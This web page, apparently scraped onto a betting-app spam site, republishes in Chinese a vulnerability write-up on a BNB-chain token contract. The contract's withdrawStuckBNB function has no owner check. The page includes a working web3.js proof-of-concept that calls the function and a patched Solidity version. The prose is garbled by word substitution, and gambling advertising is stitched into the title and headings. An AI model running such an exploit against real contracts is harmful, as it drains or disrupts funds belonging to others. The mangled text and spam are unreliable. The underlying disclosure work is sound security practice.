首页
关于协会
新闻动态
培训公告
授权培训基地
教师查询
联系我们
栏目分类

新闻动态

你的位置:欧洲杯下单平台(官方)APP下载IOS/安卓通用版/手机版 > 新闻动态 > 欧洲杯下单平台(官方)APP下载IOS/安卓通用版/手机版该合约的代币当今市值 1400K(USDT)-欧洲杯下单平台(官方)APP下载IOS/安卓通用版/手机版

欧洲杯下单平台(官方)APP下载IOS/安卓通用版/手机版该合约的代币当今市值 1400K(USDT)-欧洲杯下单平台(官方)APP下载IOS/安卓通用版/手机版

发布日期:2025-04-04 09:59    点击次数:67

欧洲杯下单平台(官方)APP下载IOS/安卓通用版/手机版该合约的代币当今市值 1400K(USDT)-欧洲杯下单平台(官方)APP下载IOS/安卓通用版/手机版

1、布景面容欧洲杯下单平台(官方)APP下载IOS/安卓通用版/手机版

合约是一个在知足特定条款时在区块链上扩充代码的方法,各方以数字签署条约的神态准许并小气它的其运行。这些代码不错是向一又友汇款、生意 NFT 假造商品等一系列复杂的内容。

  存在粗心的主见合约是一个勾通 Meme 文化病毒式传播与去中心化金融(DeFi)的翻新样式,旨在通过真义性和实用性冲突传统 Meme 代币的情势。

该合约的代币当今市值 1400K(USDT),日均交游量 150K(USDT)

2、问题面容

该合约" withdrawStuckBNB "函数莫得添加权限放置,抨击者不错通过调用" withdrawStuckBNB "函数,将合约内总共 BNB 转至营销地址" marketingAddress ",从而导致合约交游至极。

 tips:

BNB 是 BNB 链生态系统的原生代币,该系统包含 BNB 智能链(BSC)和 BNB 信标链。在 BNB 智能链上,BNB 用于支付交游用度和参与网罗的共鸣机制。BNB 还被用作实用代币,使用户在 Binance 中心化加密货币交游所进行交游时获取交游用度的扣头。

BNB 在这个合约中的作用包括:动作交游对的配对货币,用于支付交游手续费,流动性池的构成部分,以及手续费收入的分派前言

3、问题代码分析

```solidity

function   withdrawStuckBNB ( )   external   {     

bool   success;     

( success, )   =   address ( marketingAddress ) .call{value:   address ( this ) .balance} ( "" ) ;

}

```

在合约代码里面不错看到,`withdrawStuckBNB` 莫得添加 onlyOwner 修饰,惟有 external 修饰

tips:

    Solidity 语法中有 4 中默许函数修饰符

    - public:最大探问权限,任何东谈主王人不错调用。

    - private:惟有合约里面不错调用,不能以被接受。

    - internal:子合约不错接受和调用。

    - external:外部不错调用,子合约不错接受和调用,面前合约不能以调用。

onlyOwner 是该合约自界说一个修饰器,用于修饰函数,惟有合约的总共者才气调用该函数。

这就意味着任何东谈主王人不错调用这个函数,将合约内总共 BNB 转至营销地址,导致资金被盗。

4、后续期骗链分析

从问题代码可知,任何东谈主王人不错调用这个函数,将合约内总共 BNB 转至营销地址 marketingAddress

搜检 marketingAddress 的代码,marketingAddress 是一个营销地址,更新 marketingAddress 的代码如下:

不错看到,updateMarketingAddress 函数存在 onlyOwner 修饰,惟有 owner 不错调用这个函数,这就意味着惟有 owner 不错更新 marketingAddress 的地址。是以期骗链到此截止,抨击者只可调用 withdrawStuckBNB 将合约内的 BNB 转至 marketingAddress,然而 marketingAddress 自己只可由 owner 更新,是以抨击者无法更新 marketingAddress 的地址,从而无法将 BNB 转至抨击者的地址,然而粗心也能变成合约内 BNB 的清空,影响合约运行。

5、构造 POC

```javascriptconst Web3 = require ( 'web3' ) ;// // 运行化 Web3 实例,这里使用测试网的地址,你不错把柄实质情况修改 const web3 = new Web3 ( 'https://seed-prebsc-1-s1.binance.org:8545' ) ;// const web3 = new Web3 ( 'https://bsc-dataseed4.binance.org/' ) ;

const contractABI = [ """ 换成好意思满 ABI""" ] ;const contractAddress = "0xaaaaa"; // 替换为主见合约地址 const contract = new web3.eth.Contract ( contractABI, contractAddress ) ;console.log ( "connect success" ) ;

// 若是使用 Node.js,需要添加私钥 const privateKey = '0xbbbbbbbbbbbbbb'; // 替换为你的私钥 const account = web3.eth.accounts.privateKeyToAccount ( privateKey ) ;web3.eth.accounts.wallet.add ( account ) ;

async function withdrawBNB ( ) {     try{         console.log ( account.address ) ;         const tx = {             from: account.address, // 必须使用真确地址             to: contractAddress,             gas: 300000,             data: contract.methods.withdrawStuckBNB ( ) .encodeABI ( )         };

        // 估算 gas         const gas = await web3.eth.estimateGas ( tx ) ;         tx.gas = gas;

        // 获取面前 gasPrice         const gasPrice = await web3.eth.getGasPrice ( ) ;         tx.gasPrice = gasPrice;

        // 签名并发送交游(Node.js 神态)         const signedTx = await web3.eth.accounts.signTransaction ( tx, privateKey ) ;         const receipt = await web3.eth.sendSignedTransaction ( signedTx.rawTransaction ) ;

        console.log ( 'Transaction Hash:', receipt.transactionHash ) ;         console.log ( 'Receipt:', receipt ) ;     } catch ( error ) {         console.error ( "Error:", error ) ;     }     console.log ( "2" ) ;}

withdrawBNB ( ) ;console.log ( "3" ) ;```

6、建树决策

在 withdrawStuckBNB 函数中添加 onlyOwner 修饰,只允许 owner 不错调用这个函数

```solidity

function   withdrawStuckBNB ( )  

external   onlyOwner  

{     

( bool   success, )  

=   marketingAddress.call{value:   address ( this ) .balance} ( "" ) ;     

require ( success,

"Transfer   failed" ) ;

}```

   该粗心当今已向磋商单元和厂商报送并已推出补丁,使用此粗心变成的任何抨击影响均与本文作家无关。

原文华集欧洲杯下单平台(官方)APP下载IOS/安卓通用版/手机版